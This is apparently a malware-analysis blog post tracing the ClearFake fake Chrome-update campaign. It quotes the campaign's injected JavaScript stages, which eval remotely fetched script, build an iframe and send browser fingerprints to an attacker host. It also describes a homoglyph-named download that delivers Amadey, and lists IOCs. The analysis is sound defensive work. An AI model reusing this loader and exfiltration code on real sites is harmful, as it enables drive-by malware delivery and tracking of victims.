


```
}  
eval(get_script());
```

This is a straightforward initial call for the first payload which is hosted on Cloudflare Workers. The Cloudflare domain being used is a wildcard. I've seen two variations of the first portion of the FQDN.

A urlscan search for the base domain shows how long it has been in use and some of the variations of the first part of the name.

[urlscan search](#)

Payload One

The Cloudflare worker returns a very similar Javascript that simply makes another call to a Keitaro host, but not to a Keitaro endpoint.

```
const get_k_script=(()=>{  
  let e=new XMLHttpRequest;  
  return e.open("GET","https://adqddqewqewplzoqmzq.site/vvmd54/",!1),e.send(null),e.responseText  
  };  
eval(get_k_script());
```

Payload two

The second web call returns a Javascript that creates an iframe to house the fake update UI. The iframe src is set to a Keitaro endpoint.

```
const url = "https://adqddqewqewplzoqmzq.site/ZgbN19Mx";  
let iframe = document.createElement("iframe");  
const remove_iframe = e => {  
  "removetheiframe" == e.data && (iframe.parentNode.removeChild(iframe), document.body.removeAttribute("style'  
});  
window.addEventListener("message", remove_iframe, !1);  
const iframe_ready = e => {  
  window.scrollTo(0, 0), iframe.style.display = "block", iframe.style["margin-top"] = "", document.body.s  
  },  
  create_iframe = () => {  
    iframe.onload = iframe_ready, iframe.src = url, iframe.style.width = "100%", iframe.style.height = "100"  
  };  
  create_iframe();
```

Payload three - Keitaro

The response from the Keitaro endpoint is the foundation for the HTML to be rendered within the iframe.

```
<!DOCTYPE html>
<html lang="en">

<head><base href="/lander/chrome/index.php">
  <meta charset="utf-8">
  <meta http-equiv="content-language" content="en-au">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="icon" type="image/png" sizes="16x16" href="img/favicon-16x16.png">
  <title>Document</title>
  <link type="image/png" data-href="p.gif" href="p.gif" class="pixel">

  <script>
    var token = 'uuid_2qgg8u91378u2_2qgg8u91378u264ea6606b22936.89682192',
        pixel = '{pixel}',
        subid = '2qgg8u91378u2',
        blank = 'X2luZGV4LnBocA==';
    let p = document.querySelector('.pixel'),
        prefix = p.href.replace(p.dataset.href, '');
    self.Notification && fetch(atob(blank)).then(
      function(r) {
        return r.text().then(function(t) {
          document.write(t.replaceAll('{static_prefix}', prefix))
        })
      }
    );
  </script>
</head>
<body>
</body>
</html>
```

The `blank` var base64 decoded is `_index.php` . Since the base href is set, when `fetch()` is called the path to be used will be `/lander/chrome/_index.php` .

_index.php

`_index.php` finally contains all the HTML/CSS to build the fake update webpage.



It also contains two malicious components.

Fingerprint

FingerprintJS is included within `_index.php`. Next to the bottom it is used to fingerprint the browser and send the results to the threat actor at `stats-best.site`. This will happen as the page renders.

```
<script onload="initFingerprintJS()"> function initFingerprintJS() {
  FingerprintJS.load().then(fp => {
    fp.get().then(result => {
      const visitorId = result.visitorId;
      FPID = visitorId;
      var Data = {FPID : visitorId,FPData : btoa(JSON.stringify(result)),Domain : window.location.hostname};
      var Link_Connect = 'https://stats-best.site/fp.php';
      var saveData = $.ajax({
        type: 'POST',
        url: Link_Connect,
        data: Data,
        dataType: "text",
        //success: function(resultData) { console.log(resultData) }
      });
      //Cookies.set('FPID', visitorId);
    });
  });
}
$('.DownloadMouse').hover( function(){DownloadMouse=true;});
initFingerprintJS();
</script>
```

Download hero

The last malicious chunk of Javascript within `_index.php` is used to make the `Update Chrome` button clickable.

```
<script>
document.getElementById('js-download-hero').onclick = (e) => {
  e.preventDefault();
  var params = new URLSearchParams(document.location.search.substr(1));
  var _subid = subid || getSubId();
  var _token = token || getToken();
  var _pixel = pixel || getPixel();

  params.set("_token", _token);
  setCookie("pixel", _pixel);
  setCookie("token", _token);
  setCookie("subid", _subid);
  setCookie("FPID", FPID);
  setCookie("DownloadMouse", DownloadMouse);

  var data = JSON.stringify({
    FPID: FPID,
```

```
DownloadMouse: DownloadMouse,  
Domain: window.location.hostname,  
RGET: 'W10=',  
FileID: '12CR3zJzTg'  
});  
  
try {  
  var url = new URL(location.protocol + '//' + location.host + atob('P19scD0x'));  
  url.searchParams.append('FPID', FPID);  
  url.searchParams.append('DownloadMouse', DownloadMouse);  
  url.searchParams.append('D', btoa(data));  
  // url.searchParams.append('timestamp', ts);  
  params.forEach(function(v, k) {  
    if ([...url.searchParams.keys()].includes(k)) {return;}  
    url.searchParams.append(k, v);  
  });  
  window.location.href = url.toString();  
} catch (e) {  
  console.error(  
    `[Exception] Bad params: unexpected link '${url.href}' for new Url()`  
  );  
}  
}
```

Upon clicking the button, the URL is built with various parameters. Again there is a touch of base64 for the path. Here it is `P19scD0x` which decodes to `?_lp=1`.

An example fully built URL would look like this.

```
https://adqqqewqewplzoqmzq.site/?_lp=1&FPID=bf323fcc78558f702aa91668e1f2996b&  
DownloadMouse=true&D=eyJGUe1EIjoiYmYzMTNmY2M3ODUxOGY3MDJhYTk5NjY4ZTFmMjk5NmIiL  
CJEB3dubG9hZE1vdXNlIjpb0cnVlLCJEB21haW4iOiJhZHFkcXFld3Fl3Bsem9xbXpxLnNpdGUiLCJ  
SR0VUIjoiVzEwPSIsIkZpbGVJRCI6IjEyQ1Izekp6VGcifQ%3D%3D&_token=uuid_2qgq8u92368u  
2_2qgu8u91g78u264ea6606b22936.85686112
```

Of note is the `FPID` parameter. It is the FingerprintJS [visitorId](#) which was sent earlier to `stats-best.site`. This appears to be a unique identifier that presumably should make it difficult for analysts to arbitrarily replay or poke at the final endpoint.

This download endpoint will be a 302 redirect to where the malicious executable is that the user will see downloaded.

Redirect to download

When this campaign was first observed yesterday the redirect was to `login.live.com` and required a login to Outlook. Sadly the payload was not there. Today it is for a OneDrive file with a URL that looked like this.

```
https://1ltveg.bn.files.1drv.com/y4mAk..2Njigg/Chr%D0%BE%D0%B5%D0%B5tu%D1%80.exe?download&psid=1
```

Of note here is the obscured filename which url encoded is this.

```
Chr%D0%BE%D0%B5%D0%B5tu%D1%80.exe
```

Visually the end user will see `ChromeSetup.exe` but technically the characters are non-standard and hamper detections based simply on the string `ChromeSetup.exe`.

Once downloaded if the user runs the EXE they'll become infected with Amadey as this report shows.

[Triage report](#)

Timing

I like to use SSL certs as one method to determine when malicious domains come online. With the domains I've seen so far, the earliest date is July 19th.

Keitaro

* Server certificate:

```
* subject: CN=borbrbmrtrbxrq.site
* start date: Aug 22 12:46:47 2023 GMT
* expire date: Nov 20 12:46:46 2023 GMT
* common name: borbrbmrtrbxrq.site
* issuer: CN=GTS CA 1P5,0=Google Trust Services LLC,C=US
```

* Server certificate:

```
* subject: CN=adqqqewqewplzoqmzq.site
* start date: Aug 22 12:19:03 2023 GMT
* expire date: Nov 20 12:19:02 2023 GMT
* common name: adqqqewqewplzoqmzq.site
* issuer: CN=GTS CA 1P5,0=Google Trust Services LLC,C=US
```

* Server certificate:

```
* subject: CN=wnimodmoiejn.site
* start date: Aug 17 08:02:41 2023 GMT
* expire date: Nov 15 08:02:40 2023 GMT
* common name: wnimodmoiejn.site
* issuer: CN=E1,0=Let's Encrypt,C=US
```

* Server certificate:

```
* subject: CN=fffewiuofegwumzowefmgwezfwz.site
* start date: Aug 18 08:53:35 2023 GMT
```

```
* expire date: Nov 16 08:53:34 2023 GMT
* common name: wffewiuofegwumzowefmgwezfwzewe.site
* issuer: CN=GTS CA 1P5,0=Google Trust Services LLC,C=US
```

* Server certificate:

```
* subject: CN=komomjinndqndqwf.store
* start date: Aug 18 08:15:52 2023 GMT
* expire date: Nov 16 08:15:51 2023 GMT
* common name: komomjinndqndqwf.store
* issuer: CN=E1,0=Let's Encrypt,C=US
```

* Server certificate:

```
* subject: CN=omdowqind.site
* start date: Jul 28 07:21:20 2023 GMT
* expire date: Oct 26 07:21:19 2023 GMT
* common name: omdowqind.site
* issuer: CN=GTS CA 1P5,0=Google Trust Services LLC,C=US
```

Support sites

* Server certificate:

```
* subject: CN=brewasigfi1978.workers.dev
* start date: Jul 19 14:07:05 2023 GMT
* expire date: Oct 17 14:07:04 2023 GMT
* common name: brewasigfi1978.workers.dev
* issuer: CN=GTS CA 1P5,0=Google Trust Services LLC,C=US
```

* Server certificate:

```
* subject: CN=stats-best.site
* start date: Jul 23 15:30:01 2023 GMT
* expire date: Oct 21 15:30:00 2023 GMT
* common name: stats-best.site
* issuer: CN=GTS CA 1P5,0=Google Trust Services LLC,C=US
```

IOCs

Cloudflare Workers

```
hello-world-broken-dust-1f1c.brewasigfi1978.workers.dev
hello-world-hidden-hat-62a9.brewasigfi1978.workers.dev
*.brewasigfi1978.workers.dev
```

Keitaro and Assets

```
adqdqqewqewplzoqmzq.site  
borbrbmrtrbxrq.site  
komomjinndqndqwf.store  
omdowqind.site  
wffewiuofegwumzowefmgwezfwz.site  
wnimodmoiejn.site
```

Fingerprinting

```
stats-best.site
```

Hash

```
10f504133a652d196aa14eb26d55d0b53da16590584696a1f282a95bb3e9c08a
```

C2

```
45.9.74.182/b7djSDcPcZ/index.php
```

Source: <https://rmceoin.github.io/malware-analysis/clearfake/>